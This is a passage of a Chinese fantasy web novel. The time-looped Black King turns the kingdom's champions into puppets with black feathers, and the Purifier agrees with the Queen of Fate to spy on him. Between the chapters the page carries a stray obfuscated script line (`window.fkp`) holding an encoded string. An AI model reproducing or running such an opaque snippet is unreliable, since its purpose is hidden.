打着打着,调律者意识到事情不对劲,他发现自己的力量在无形之中被削弱大半,原本他一剑能打出击退黑王三四米的剑气,现在那剑气只能打退黑王半米。这番削弱十分地明显,几乎等于他的实力对半折。“是什么削弱了他呢?”他开动灵慧的大脑思考这个问题。 这时,他注意到肃清者身上泛起的黑色薄雾,还注意到黑王的武器上散发着这黑色薄雾。刀锋与铁拳相撞,点点黑雾穿过规则之手,附着到肃清者的身上。紧接着,他用义眼扫描了下肃清者,肃清者的多维数据展现在他的眼前。他惊奇地发现黑雾致使肃清者的各方面战斗数据正缓慢的直线下滑,最明显的就是力量指数和核心加持指数,这是最能削弱肃清者实力的两项。 他幡然醒悟,原来是那黑雾是致使他们愈来愈弱。他仔细想来,并非是黑王实力强大到不可战胜,也并非是黑王的攻击毫无破绽可言,只是他们的力量一直被削弱,使他们对抗黑王愈发显得无力罢了。 可惜调律者意识到这一点时已经为时已晚,此时战斗已经接近尾声。 黑王凭借高超的技术、强大的实力还有黑羽对敌人的不断削弱,黑王比较轻松地取得了这场战斗的胜利。这场战斗黑王胜之不武,黑王用黑羽暗算了肃清者和调律者,这是一种阴险的手段。不过对于黑王来说,能达到目的可以不择手段,虽然阴险且不讲武德,但办事效率真的高。他深得樱藏剑法的真传,不择手段地取得胜利,尽管那会让道义完全消逝。 要知道,绝大部分的强者是害怕群殴的。肃清者和调律者这两个最强国家的最强战士并肩作战在一起,凭借强大的默契,其实力能达到一个非常恐怖的水平,灭杀整个三角协会都不在话下!理论上若没有黑羽的加持,黑王将付出巨大的代价才能击败肃清者和调律者,还有一定的可能会被肃清者和调律者杀死。 战后,肃清者和调律者单膝跪倒在走廊的地面上,以失败者的姿态面对面前的黑王。他们身上的黑羽化成枷锁锁住他们的身躯,他们动弹不得只能干喘气。黑王是个懂理的人,他知道自己是靠阴招取得的胜利,但他在胜利后仍有荣誉感可言。黑王骨子里就是个屑人。 黑王收起始源之枪,面色严肃地注视他们。肃清者和调律者脸上写满了不甘,失败的苦涩令他们沮丧,但他们此刻被黑羽定在原地又无可奈何。二十年来未尝一败的两人此刻颜面尽失,这场战斗的失败是预料之外的。当中最不甘的,当属调律者,知晓真相的他非常鄙视黑王耍阴招的行为。肃清者与调律者的表现完全在黑王的预料之中,黑王显得很自然。 黑王: “我的子女们啊,莫怪我卑鄙。” 调律者: “啧......使用阴招来取胜吗?小人的举动,真是令人大跌眼镜。” 肃清者: “这股力量......是王的器量。你到底是谁?莫非......你真的是父皇?可若是,那父皇你为什么看起来那么陌生?那如修罗一样的眼神,没了当年的慈祥和善了啊!” 黑王殇: “无愧于我的女儿,你的眼看事物还是那般透彻呀。正如你所说的,我就是你的父皇,大名鼎鼎的王殇之翼,人间修罗殇。” 肃清者: “嗯?!!那怎么可能?父皇明明......” 黑王殇: “看来,这个时间线里的我还未回归王座之间。那正好,省得我大费干戈去处理他,少了不少麻烦事。既然这个国家缺少一个关键的归来之人来领导,那么就由我成为那个归来之人吧。我必须要将这个世界从黄泉之中拉回来,所以说......” 黑羽再次现身。 黑羽: “挚友......” 黑王给了黑羽一个眼神。 黑羽: “我明白了。” 黑羽幻化成人形的黑雾。雾气飘向调律者,调律者见此意识到不妙,他想逃跑但是无法移动身体,只得眼睁睁看着雾气附着在自己身上。黑雾渗入调律者的身体,调律者奋力挣扎,但身体如木头一般僵硬,他只是在心中无力的呐喊。过了一会,调律者能动弹了,先是像木偶一样僵硬的动胳膊、动头,然后逐渐恢复到原来的样子,最后站起身来,若无其事地走向了黑王。 “义父大人,恭迎你归来。” 调律者冷冷地说了一句。黑王一听,开心地笑了笑。这时,调律者转过身去看肃清者。见到调律者的样子后,肃清者被吓了一跳。调律者赤瞳如血,先前平易近人的模样现在变得冷酷骇人。调律者挤出一抹微笑,那微笑异常的阴森。 调律者: “澪,和我们的父亲一起成就大业吧。” 这句话令肃清者脊背发凉、寒毛直竖,调律者无疑成为了黑王的傀儡。将活人变成听话的傀儡,那是傀儡师家族都望尘莫及的事。今日目睹到这样的诡事出现,肃清者知道了黑王究竟有多可怕。 肃清者: “父皇......你这是为何?” 黑王殇: “很抱歉,我的女儿。为了将这个世界从黄泉中拉回来,只能委屈你们当几个月的傀儡了。不是为父不仁,只是形势不容乐观,为父不愿让你们承受那些痛苦。在为父的怀抱中熟睡几个月......对于你们来说无异于一件不可多得的美事。” 肃清者: “你真的是我的父亲吗?这样不择手段,不就成暴君了吗?我们的子民们不愿看到他们的王是暴君,更不愿看到王室内到处都有傀儡。” 黑王殇: “很抱歉,在生死攸关的问题前,在乎德义只会让我们殒命。自古以来,越是命运攸关、越是生死界限临近,拯救者们越不会在意手段。宁愿遭受千古骂名,也要使黎明照亮慢慢长夜。” 肃清者被黑王的话震撼到了,也被黑王的救世情怀所感动。现在,有一点她可以确定了,她面前的这个威风凛凛但阴险狡诈的王就是她的父皇,大名鼎鼎的国王殇、她口中那唯一的希望。 调律者: “澪,起身吧。” 调律者主动走到肃清者面前,伸出手要拉肃清者起来。肃清者犹豫着伸出了手,她在半信半疑之中相信了黑王。可她殊不知,黑羽附着在调律者的手上,准备将她变成傀儡。伸手时,她心想: “父皇回来了......我们的希望来了吗?” 就在调律者与肃清者指头相碰前的刹那,一道耀眼的闪光突然出现。在场所有人都未料到这种情况,都被这闪光弄得措手不及。闪光过后,肃清者消失了。见到这种情况的黑王殇甚是惊讶,他一时间手足无措,陷入迷茫。 黑王殇: “淦!竟然给我耍这招,不愧是我的女儿。但也无妨......等我降服了其他的指头,我再处理她也不迟。” 说完,黑王带领调律者去了其他指头的部门。黑羽在不知不觉间几乎传遍了王宫的每一处角落,几乎到哪里都能见到侵染黑羽之人的影子,王宫沦陷的速度非常迅速。只有身负黑羽浓度足够高的人才能成为对黑王百依百顺的傀儡。不过傀儡多少对黑王来说已经不重要了,有调律者这一个国家之梁就已经足够了;要是再能来个肃清者,那么整个殇王国都将归于黑王麾下。 与此同时...... 在灰烬王城的空中花园里,一道闪光乍现,一个身着高科技战甲、面带花纹面具的白发姑娘带着肃清者来到此处。刚落脚没多久,那个白发姑娘用体内的光之能量消减掉肃清者身上的黑羽,肃清者所遭受的削弱与禁锢全都解除。但这么做是有代价的,那名白发姑娘做完这些后连续咳嗽了一阵子,一直到咳出一小滩鲜血后才停止咳嗽。对于那名白发姑娘来说,使用光之能量就是在消耗自己的生命。 肃清者见状,关心道: “你没事吧,孩子。” 她坚强地说: “没事,正常现象,不必大惊小怪。” 肃清者冲她笑了笑,以表谢意。她见状,用笑容回应,尽管她脸上戴着面具。笑过,肃清者感谢道: “谢谢你,孩子。” 她风轻云淡地一笑,说: “不客气。” “请问,你叫什么名字?” “我叫伊卡莉,别名穿越者。” “伊卡莉?不错的名字。——我叫肃清者,很高兴见到你。” “客气了,姐姐。” “请问一下,我们所在何处?” “姐姐,我们所在的地方叫做灰烬王城,旧时候称呼这里为神圣王城。” “哦?熟悉的地方呢。” 肃清者环视四周,这里与她印象里王城截然不同,原来的华贵气息俨然被苍凉与衰败所替代,放眼所及之处皆为灰烬的居所、衰败的乐园,见不得半点生机。这里仿佛“死”了一样。肃清者看得是心神不宁、黯然神伤,肃清者不由得担心起殇王国的未来。若这里是未来的王城,那么王城外的世界又是怎样的破败、狼藉?连世界上最坚固的堡垒都已经破败,那其他地方岂不更是一番末日的景象? 肃清者心里: “若这就是未来的王城,那么未来定有一场浩劫。也许......我们会在这场浩劫中殒命?我想我明白父亲在沉睡前制定那些莫名其妙的计划的原因了,父亲也许是知晓了未来的浩劫,所以才那样渴求永生与变强。” 越往下想,肃清者就越是不安。 伊卡莉: “我知道你想说什么。这里看起来很破败不是吗?你肯定在担心我们的世界吧,担心我们的世界也会变得如王城一样。不过先别想那么多,未来还是个疑团,它将由现在的我们来书写。” 肃清者: “所言极是。” 伊卡莉: “姐姐,该直入正题了。为了应对百次循环中最大的变局,女王殿下诚挚地邀请你去计议此事,特此派我来护送你。” 肃清者: “嗯?” 伊卡莉: “我知道你听得云里雾里的。放心,到时候女王大人会一一向你解释的。” 肃清者: “等一下......我觉得我们从哪里见过。” 伊卡莉: “呀,被识破了呢。不过那是迟早的事。” 伊卡莉摘下面具,肃清者看清了她的脸。她跟伊长得一模一样,无论是表情还是面容体态都惊人的一致。肃清者大惊,一时间难以相信自己的眼睛。 肃清者: “伊?!怎么会是你呢?” 伊卡莉: “不,姐姐。我并非是真正的伊。我只是百次循环中其中一次循环里的伊,我不属于你们这一次循环。” 肃清者: “原来如此,怪不得你要叫自己穿越者、伊卡莉。——我之前所见到那个陌生的父亲,也是和你一样的由来吧。” 伊卡莉: “对。不过他可比我残暴多了。他是修罗线的殇,是所有循环中最危险的那个殇。他的危险程度远超你我的想象,这点姐姐你深有体会。” 肃清者: “的确。调律者用快传告诉我他生成的黑雾能大幅度削弱我们的战斗力,还能将我们变成对他百依百顺的傀儡,真是可怕的能力。” 伊卡莉: “我与他曾经交手过一次,我对他的能力深有了解。他的能力名为‘黑羽’,不是觉醒出来的Emw,也不是与代码异化·融合产生的神械,还不是那所谓神备、神之铭,它是神兽末代龙王凋零之龙以生命为契约赋予的力量。” 肃清者: “黑羽......很独特的名字。末代龙王......凋零之龙?这指的难道是他召唤出来的那条会幻化成人的龙吗?” 伊卡莉: “龙王一族会变形。你口中的那个人就是龙王的拟人态,是龙娘或是龙子的状态。这取决于龙王的性别。” 肃清者: “奇怪的知识又增加了。” 伊卡莉: “姐姐,你可一定要提防黑羽!黑羽能将你的力量吸干,一下子毁掉你几年甚至大半辈子的修炼成果,这是能堕仙灭神的可怕能力。” 肃清者: “感谢你的提醒,孩子。” 伊卡莉: “不用谢。” 肃清者: “事不宜迟,你带我去见命运女王吧。” 伊卡莉: “诶呀!净顾着聊天了,你不说我差点忘了这事。瞧我这猪脑子!走走走,我现在带你去见女王殿下。” 肃清者: “走吧,孩子。” 穿过布满灰尘的空中花园、走过狭长的直王道大桥、绕过复杂的王室走廊,在灰尘中前行的两人心里都有些不平静。见到枯萎的巨树屹立于空中花园之中,其位置紧贴王座之间,很巧的是巨树的树干还靠近王座,这顿时勾起肃清者的好奇。肃清者发问,伊卡莉解答。 “那棵巨树是光之种子萌发失败的产物,不过它看着仍很壮丽不是吗?据女王殿下所说,在光之森林第一阶段的时候,这次循环里的殇用弑神者大剑杀死了光之树里的光之子,毁掉了能净化整个世界的光之森林计划。原本要向世界播撒光之种子的光之树顷刻间凋零,造就了如今王城内无尽的尘埃。那树中的光之子,就是这次循环里的我。严格来说,每次循环里的伊都是光之子,唯独我是例外。” 肃清者好奇这一点,就问起了这一点背后的故事。伊卡莉没有忌讳,坦然告诉了肃清者。 “我原本是光之子的一员,直到我的种子被钟唐岷的三分身之一的夺去了活性,我无法再感受到希德薇拉小姐的冥助,更无法使用光之种子。光之种子就在我体内凋零了,我的挽留无济于事,它还是殂谢在我的体内。值得庆幸的是我依然可以制造光之能量,不过这需要消耗我的生命力。” “失去了使命的我被希德薇拉抛弃,也被殇抛弃。殇将我抛弃在青兰国的土地上,他头也不回地离开了我。自那之后,活着成为了我崭新的使命。为了活下去,我被迫从柔弱的小姑娘娘变成了杀人不眨眼的女汉子。我的世界也在那时被改写,黑暗森林法则成为我唯一相信的真理。” 伊卡莉笑了笑,笑得格外辛酸。她曾遭受到常人难以想象的痛苦,除了她自己没人知道她曾遭受过什么。 “我的偏执致使我犯下许多过错,心中的憎恨使我逐渐迷失自我。原本能带给众人光明的我,反而成为了传播黑暗的使者,讽刺的是,愚昧的我还口口声称那是光明。哈......我本以为我认清了现实,结果我只是沉浸在我痛苦的幻想之中。我犯下的罪孽深重,已经多到我都记不清。若不是旅者及时制止了我,我也许会成为像他那样的修罗。” 说到此处伊卡莉有些感伤,那段经历深深地刺痛了她的心。经历过诸多苦难的她是坚强的,她表达伤心的方式也只是皱一皱眉。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 联盟国—第十一话:黑王崛起(下) 书接上文...... 走出王室走廊,再走过最后一段路,就到了王座之间,原本国王上朝的地方。身着华丽的命运女王拿着一把金黄的刺剑,伫立在王座之前。命运女王背对肃清者她们,又抬头仰望着那棵凋零的巨树,嘴里呢喃着什么。 许久之前,这里也曾是风景极佳、环境静谧、风光无限好的宝地,可如今这里只留下了空无一人的王座与遍地的尘埃。原本这里还有一棵巨大的灵树,如今已经见不到灵树的身影,它也许也化作了尘埃。 “女王大人,肃清者姐姐来了。” 伊卡莉对命运女王说道。命运女王低下头,欣喜地说: “真是辛苦你了,卡莉。” 命运女王缓缓转过身来。此刻,宿命的齿轮再次转动,两条彼此平行的命运线相交一起。见到命运女王的长相,肃清者大惊。黑色长发、白皮肤、别具个性的发型再加一对海蓝色的眼眸,那正是她自己的模样。 “天呐!” 肃清者惊呼道。 “你是另一个我吗?” 命运女王露出笑容,那笑容中满是沧桑,但充满希望。命运女王轻轻往前迈出一步,嗖的一下,她瞬间移动到肃清者面前,这一步胜十步。命运女王轻声说道: “许久不见,曾经的那个自己。” 肃清者惊讶不已,问道: “这世上怎会有这样奇妙的事?” 命运女王淡然的一笑,说: “命运无常,世界因此奇妙多姿。” 之后,两人便聊了起来。这次聊天非常重要,这将决定这次循环的结局去向。深知这一点的命运女王在聊天中保持谨慎,肃清者也隐隐意识到这点,随命运女王一样保持谨慎。 命运女王: “客套话就至此结束吧。直入正题。我想让你跟我们合作。” 肃清者: “合作?请说说看。” 命运女王: “目前局势很不乐观,十三次循环的遗留物——殇的异变体黑王侵入了你们的世界,他妄图成为那唯一的国王殇。若黑王的目的达成,我们的父亲就将是那个修罗,而我们也将迎来可怖的黑暗时代。” 肃清者: “那该怎么对付他呢?” 命运女王: “很可惜,我们都无法战胜他,他是百次循环里最强大的那个殇,是这个时代的战神。他以修罗道为义道,弑杀又不择手段,可谓是彻彻底底的混蛋!他遇到的一切强者皆被他斩杀,只为自身变得强大。你所熟知的指头们、太玄国的龙凤卫、世界首脑、雅巴达之剑、管理员等存在在那次循环里皆被斩杀。他积蓄的力量已经可以单人灭国,一统天下对他来说都只是时间问题。” 肃清者: “他这番强大,定与那黑羽有关吧。” 命运女王: “没错。那黑羽的力量是无解的,几乎所有的能力都会遭到黑羽的克制。值得庆幸的是他在修罗道的半途才取得的黑羽,这样我们还有战胜他的希望。若是他一开始就拿到黑羽,那么现在的他强到简直不敢相信!” 肃清者: “那黑羽真的就无解了吗?” 命运女王: “不......有一人能战胜黑羽。” 肃清者: “你是指父亲?” 命运女王: “没错。只有王才能杀死王。你的父亲,也就是最后一次循环里的殇,他是我们唯一的希望。” 肃清者: “可父亲还沉浸在自己的永生计划里,暂时还无法回归肉身。在未回归肉身之前,父亲就是残缺的、是实力不充分的。更何况修罗还在王宫里,他随时都能毁掉父亲的真身。” 这时,伊卡莉突然意识到了什么,急忙瞬移离开。她走得迅速又悄悄,命运女王和肃清者都未察觉。 命运女王: “不必担心,我猜我的骑士已经出发。” 肃清者: “什么?” 命运女王: “放心,我会保证他能顺利重生,成为重生之王。” 肃清者: “那就好。” 命运女王: “迷惘的另一个我呀,请你记住一点。无论何时都不要失去希望,即便前路渺茫,即便终局凄凉。” 肃清者: “我会记住的。” 命运女王: “说了这么多了,我也该好好介绍下自己了。虽然我们彼此十分熟悉,但我仍然要向你介绍,我这个来自遥远过去的肃清者。” 肃清者: “请讲。” 命运女王: “我是澪,命运的掌握人。曾经,我是殇王国的左无名指,大名鼎鼎的肃清者,被誉为国家之梁的存在。现在,我是第一次循环的唯一幸存者——澪的异变体,同时也是[t.c.o-命运黄昏]的掌握者。” 肃清者: “所谓[t.c.o]是何种力量?” 命运女王: “代码与Emd核心高度融合后,通过核心佩戴者的自我觉醒进而产生的独有产物,是一种凌驾于常规核心能力的高级能力。例如,我的[t.c.o]是代码2促生出来的产物,是一种能逆天改命的能力。不过可惜,目前只有屈指可数的[t.c.o]能比得上超能者的天赐神能。” 肃清者: “这般厉害。那觉醒[t.c.o]的人数量有几何?是否能对社会构成威胁?” 命运女王: “又在担心天下局势吗?哼哼......一如既往的殷勤呢。请别担心,这样的人少之又少,数目跟超能者相当,万里挑一。” 肃清者: “这样我就放心了。” 命运女王: “话归正题。我恳请你在黑王身旁潜伏,成为监视黑王一举一动的间谍。我和卡莉会在暗中帮助你的,我们可以确保你的安全。” 肃清者: “我猜我身上得附了黑羽修罗才肯信任我。黑羽会操控人心智,让人对修罗百依百顺。这一点你有什么解决方案吗?” 命运女王: “当然有。我们从不打没有准备的仗,每一次出手都是深思熟虑,没有鲁莽就没有不可查觉的风险。我有一件秘宝,能助你抵抗黑羽的侵蚀。” 话应刚落,命运女王从怀中拿出一个银质小瓶子,瓶中存放着宵色的液体。命运女王将这个瓶子交给肃清者,并为瓶中的宵色液体注入能量。 肃清者: “这是?” 命运女王: “宵色秘酿,一种失传许久的药水。这种药水能让你的神识保持隐匿的独立,使黑羽无法操纵你的意识。服下此药物后,黑羽还会出现识别失误的情况,黑羽会误以为完全控制住了你,但实则是你还能保持意识上的清醒,你依然能操纵自己的身体。这样可以骗过黑羽。不必担心出现意外,我亲自找人测试过。” 肃清者: “想得真周全,不愧都是彼此的知己。” 命运女王: “过奖了,澪。” 肃清者: “在我服下这瓶秘酿之前,请你告诉我,何为百次循环?现在是何种状况?以及我们的具体计划如何?” 命运女王: “问题多多,但也无妨。” 命运女王: “所谓百次循环,就是父亲为保永生计划能顺利进行的一种手段,也是唯一手段。父亲让宙级洪流·泽去看守金沙流年国的圣地时钟塔,泽由此获得了掌管每次循环开启与关闭的权利。” 命运女王: “父亲想的很周全,一遍又一遍的时间循环,最强大的那个他就在这样的循环中被筛选出来,成为最终胜利者,手刃威胁这世界的罪恶之神:钟唐岷。而这个世界的未来,也将在这形如莫比乌斯环的循环中达到彼方的美好或黄昏的终末。” 命运女王: “这是一场豪赌,赌注是父亲的一切与这个世界。若赢,将是皆大欢喜,若输,将是万劫不复。” 肃清者: “原来还有这回事,想不到父亲竟然做了这样的事。——这样重要的事,为何父亲不告诉我们呢?” 命运女王: “父亲有父亲的考虑。他一定不想让我们受罪,也不想让我们插手这场私人恩怨。——父亲曾说:‘我要成为神明时代最后一位战士。人与神明的战争,将以我为结束。’我曾不理解父亲这句话的含义,直到我经历了那些事情,我才明白了那句话的意义。” 肃清者: “所以说,父亲......” 命运女王: “父亲要只身终结那位神明,结束那从上古一直持续到现在的人神之战。父亲要将决定这世界走向的权利,完完整整地交给我们人类,交给我们这群生活在大地之上的生灵们。” 肃清者: “父亲真伟大!” 命运女王: “可不是吗!我们能活到现在,都是父亲的恩情啊!” 肃清者: “的确。若不是父亲当初的不杀之恩,年仅六岁的我也许就跟我的亲生父母一起葬身于废墟之中了。” 感慨完这些,命运女王叹了口气,向肃清者说起了现在令她堪忧的局势。 命运女王: “唉......现在的局势令我非常担忧。扭曲现象的极巨化、可怖怪物的肆虐、难以斩断的痛苦循环、多方邪恶势力的野心计划、看不到尽头的大疫病时期、逐渐走向衰落的世界......在这样的时代背景之下,人们在痛苦中渐入疯狂,原本纯洁的心灵愈发病态。自我主义、虚惘愚昧、欺骗与面具、良知的迷失、各种伪文化的盛行......这听起来真令人心痛。我们的人民原本不是这样的!依我看,这样的世界不仅需要破除神戒,还需要净化每个人的心灵,更是得根除那痛苦的源泉。” 肃清者: “令人痛心。那我们能为这个世界做些什么呢?” 命运女王: “护送种子让其发芽,护送真王重生为王。在终末到达之前,保证种子和王能不受其他邪恶势力迫害,并且尽我们所能地维护这个世界的和平,守护我们这个还算得上美好的当下。” 肃清者: “我知晓了。” 命运女王: “你的任务只是负责监视黑王的一举一动,然后通过写日记的方式将黑王的一举一动传达给我们。这是为了确保黑王不会伤害种子或王,为了大局考虑。” 肃清者: “那我很愿意配合你们的工作。” 命运女王: “你还是那样善解人意。” 肃清者: “谁叫我们都是彼此的知心呢?” 命运女王笑了笑。 命运女王: “哈哈哈。澪啊,回去之后不要忘记,别记恨那个变成修罗的父亲。表面上他杀人无数,甚至连最爱的人也都动了刀,那其中也包括你。但其实,他并非冷血无情,只是为了心中的希望,才选择这条极端之路。这么做他承受了我们都难以想象的痛苦。你能想象吗?结识一个又一个朋友,与他们打好关系,成为彼此的挚友,却又得一刀又一刀终结他们,还要残忍地带走他们的力量,甚至为了不影响接下来的旅途要刻意遗忘罪恶。那样的痛苦,不是一般人能够承担的。” 命运女王: “他变成修罗,完全是为了这个世界的未来。因为只要他成为了修罗,那他就是百次循环中唯一的修罗,自他之后再无修罗。成为修罗就有力量能够弑神,能弑神就意味着能守护这个世界,能破除那罪恶的神戒。至于他会为此牺牲什么,他并不在乎。只要最后的结局是好的,就算是最后一无所有、背负千古骂名,他也愿意当那个‘千古罪人’。他是所有循环里最聪明的那一个殇,他心中的格局超越我的理解,他甚至已经规划好了自己的生与死、始与末。” 肃清者: “无论是那个父亲,都是混蛋与英雄集一身的栋梁啊!——那既然如此......为何我们不拉拢修罗呢?” 命运女王: “修罗为何是修罗?只因修罗是孤身一人去杀戮四方,不在乎团队协作。修罗犹如孤傲的野火,只愿孤身焚烧世界。” 肃清者: “我明白了。” 命运女王: “好了,你还有什么不解的吗?若有,你大可来问我,我愿告诉你一切。” 肃清者: “没有啦。目前是。” 肃清者喝下了宵色药水。奇异的能量涌入肃清者体内,肃清者感受到一种奇妙的感觉,似薄荷茶入喉的清凉,又似糖米入腹的甜涩。喝完宵色药水,肃清者似笑非笑了一会,然后恢复到原来的状态。 命运女王: “感觉如何?” 肃清者: “棒极了。我感觉到我的头脑前所未有的清醒,这比喝了一升咖啡都提神。” 命运女王: “这是最棒的答案。” 这时,一道闪光出现在命运女王的身后。命运女王和肃清者顺着闪光看去,见到伊卡莉小心翼翼地将国王殇的躯体放在王座上。命运女王露出赞赏的笑容,肃清者也看明白了事,也不禁露出微笑。 命运女王: “干得好!我的骑士。” 伊卡莉: “女王姐姐过奖了。” 伊卡莉口喘粗气,额头上流下三五滴汗,一脸笑意毫无疲倦之意,真就是个成熟稳重的女战士。 伊卡莉: “诶呀!姐姐,你可不知道,刚刚抢国王肉体的时候,有七八个人追着我打呢!那场面别提有多混乱了。要不是我技高一筹,就被他们给抓住了。万幸我和国王肉体都没什么事。” 命运女王: “真棒,卡莉。” 伊卡莉开心地一笑。 伊卡莉: “嘿嘿......——还有,姐姐们。那两个国王之手憨憨的,见黑王来了就是简单问了一句,黑王说句话就把他俩倒戈了,真是太憨啦!那两个国王之手甚至没附着黑羽就跟着黑王他们追击我,真是蠢到家了。这俩国王之手就是两个傻大个!” 肃清者: “嗯?这样的吗?” 命运女王: “习惯了,国王之手是父亲的死忠,也是愚忠。毕竟父亲对他们有救命之恩,他们这番举动也很合情合理。” 肃清者无奈的一笑。两个国王之手的行为的确如命运女王说的那样合情合理。正如国王之手的名字的一样,国王的手,自然得绝对忠诚于王。命名为手,即为最信赖之人,绝不背叛者才会背负此名。 肃清者: “这样一来,我们便有了一半的把握。修罗无法毁掉父亲肉身,就很难轻易篡改结局,这样父亲能有更大的胜算。” 命运女王: “的确。但别掉以轻心,黑王随时可以找你父亲麻烦。” 肃清者: “这你大可不必担心。宙级洪流曾答应过父亲,若父亲遭遇不测,宙级洪流便会将时间倒退一小段时间,来改变父亲死亡的事实。宙级洪流的视界开阔的很,可以在十万里之外看到父亲的生死。” 命运女王: “话虽如此,但你知道那需要付出的代价吗?” 肃清者: “这一点父亲尚未告诉我。” 命运女王: “代价就是会增强扭曲现象,还会增加时间紊乱程度,有可能造成一系列不可挽回的后果。” 肃清者: “竟然这般严重。” 命运女王: “依照我对父亲的了解,他是连死神都要不走的人,只有大地能收了他的魂。无论是哪个父亲,都是倔强又强大的生存者。即便不依靠宙级洪流的帮助,要想让父亲死去也无疑于徒步登天、铁斧屠龙,都是极难的事情。” 肃清者: “无论怎样,都希望事情能向我们期望的方向发展。——这个国家只允许有一个王存在,是白是黑,还是五彩斑斓的灰,终究要有一王留下。只希望,我们的王能为我们带来希望,结束这笼罩世界长达几十年的黑夜。” 命运女王注视王座上的国王躯体,表情忧虑但不乏希望。 命运女王: “希望,我们的王能如你说的那样,结束这漫漫长夜吧。一百次的循环,一百次的悲剧,但愿这次能彻底画上句号。” 一段时间后...... 肃清者回到皇宫,主动找到黑王,并与之简单交战一番,后假装认输,被黑羽上身,成为黑王身边又一位“傀儡”。不过黑王不知道的是,肃清者这个“傀儡”是有自我意识的。 在肃清者被“傀儡”后,黑王便完全掌控殇王国的王室,由此国家之心牢牢地被黑王把握在手中。黑王以这样果断又迅速的方式回归王座,在整个世界引起了轩然大波。不过黑王在殇王国一手遮天,任何准确信息都被乔庄美化后传向世界,人们都相信是国王苏醒了,没有人提出质疑,除了极少数的智者。 黑王的傀儡里面,绝大多数的傀儡都是黑羽附生体,但唯独有一个人是例外,那便是心地善良、思想单纯的胡普。她和王手一样,黑王只是简单解释几句就让她信服了自己。黑王曾试着让黑羽控制她,但黑羽却说做不到,还说她身上有某些不可控的危险因素。黑王觉得这样一个愚忠的傻姑娘不会背叛王室,黑王就没强制让黑羽附她的身。 黑王对胡普身旁的tb2103抱有一定的警惕,他总觉得这个机器人有种说不出的不对劲。在tb2103做出什么出格行为之前,黑王会时不时观察他,防止tb2103成为王室内部的倒刺。 王殇十指除了左食指阳和右中指胡普以外都被黑羽所控制,关键的指头被控制之后下头的人自然就都听命于黑王。阳因为正与轩闭关修炼而无法回归,黑羽的魔爪无法伸向她;胡普则是因为黑王信任再加黑羽不愿附身。 等黑王处理完回归的麻烦事,黑王就去环境优美的空中花园里休息。黑王坐在一处观景台的沙发上,抬头眺望远方。黑王布满灰尘与阴影的脸上,再次露出了久违的笑容。阳光温柔地轻吻他的额头,照亮他陈旧的内心。那抹笑容之下,是修罗心中最后的一丝人性。这时,肃清者走了过来。 肃清者: “父亲,事情都处理完了。” 黑王殇: “太玄国的国君是怎么说呢?” 肃清者: “他愿意与您会面。时间还在协商。” 黑王殇: “哼哼......他还是有些腼腆,见个面还得协商。不如......我现在快马加鞭跑到他那里去,和他饮酒论论天涯。” 肃清者: “父亲真是幽默。” 黑王殇: “哈哈哈哈......真是奇妙呢,我只是睡了一觉,你就从朕的大姑娘变成了一个自强自立的国家之梁。非男儿却有顶梁之栋之觉悟,令人骄傲的成绩。好!真他妈的好啊!” 肃清者: “父亲过奖了。” 黑王殇: “话说,你看到碧蓝苍穹了吗?那小子我怎么见不着了呢?” 肃清者: “父亲,他触犯法律,在不被允许的情况下使用t协议,已经被依法移出王室,现在正于我们首都之中的碧蓝世界企业里当老板。” 黑王殇: “哦,挺惨的,但也活该。t协议那东西可是救国的法宝,岂能由他乱用?——那他拿t协议做了什么?” 肃清者: “还原了她妹妹的尸体。制造出了一具活尸。” 黑王殇: “原来是亲情所致,值得让人惋惜。不过那也活该,谁他叫不经人允许就乱用珍贵的t协议?一码事归一码事。——诶,对了。你知道碧蓝世界的位置吧。” 肃清者: “当然知道,父亲。您难道要去见他吗?” 黑王殇: “没错。我得好好看看这个臭小子,看他今天混成啥样了。” 肃清者: “父亲,何时出发?” 黑王殇: “说走咱就走,现在就出发。” 肃清者: “明白,父亲。” 一段时间后...... 黑王和肃清者来到碧蓝世界企业本部,去寻见被放逐者碧蓝苍穹。到了公司内,所有员工都很惊讶,但都不敢作声,只是恭敬地向他们行礼。这其中就包括正在冲咖啡的玛丽哈娜。见到大名鼎鼎的国王殇和肃清者到来,玛丽哈娜同其他员工一样惊讶中带着好奇。为了知道更多的信息,玛丽哈娜悄悄尾随黑王和肃清者,想要一探究竟。当然,抱着这个想法的人不止她一人,杰和制造部部长柳炎炎也是如此。 黑王和肃清者向公司经理告知了自己这一行的目的:寻见碧蓝苍穹。公司经理不敢怠慢,立即通知了碧蓝苍穹,又带着黑王和肃清者来到碧蓝苍穹的办公室中,随后先行告退。走入碧蓝苍穹的办公室,黑王与肃清者见到了这位被放逐出王室的昔日王国之光碧蓝苍穹。 这次见面是戏剧性的,原本决裂的两方势力再次见面,又是几分无奈。不得不感慨命运的奇妙。相比起从前,碧蓝苍穹看起来老上了不少。虽然碧蓝苍穹一直靠着炼金药剂延长寿命,但生老病死乃世间的常态。他也随着时间慢慢老去,他脸上那淡淡的皱纹是时间抹不去的痕迹。 碧蓝苍穹见来客是尊贵的黑王殇和肃清者,露出标志性的微笑,迎接二人。即使曾经有那么多的不愉快,碧蓝苍穹见到肃清者仍是恭敬谦和的态度,就连他最能藏心中想法的眼,都是如身体行动般的真诚。这让肃清者惊讶,她未料到碧蓝苍穹竟能有这般态度。 碧蓝苍穹: “国王殿下,欢迎您来到在下的公司。未能出面亲自迎接您,是在下的失职。若有所需,皆可以告诉在下,在下皆会为您准备。” 肃清者听碧蓝苍穹这么说,不禁皱了皱眉,心里暗暗想道: “这家伙说话怎么回事?见我的时候明明不是这样的。莫非,是所谓尊贵感带来的偏差?” 黑王殇: “少扯那些洋式子,直接了当地说吧。” 碧蓝苍穹: “既然殿下这么说了,我也恭敬不如从命了。——等等,在聊天开始前,容我为二位取个高端的椅子先。” 说完,碧蓝苍穹就亲自为二位拿来的椅子。一向指挥人干活的大老板,也有在别人面前恭恭敬敬的时候。拿完了椅子,黑王殇和肃清者坐在椅子上,随即开始了与碧蓝苍穹的谈话。 黑王殇: “很久没见了呀,伊米迦列夫。我记得我们上一次相见还是在十几年前。这么多年过去,你变化挺大啊。” 碧蓝苍穹: “岁月是把刀,削去了我的棱角,让我变得平滑。都是正常,顺其自然吧。” 黑王殇: “你小子还是那样。” 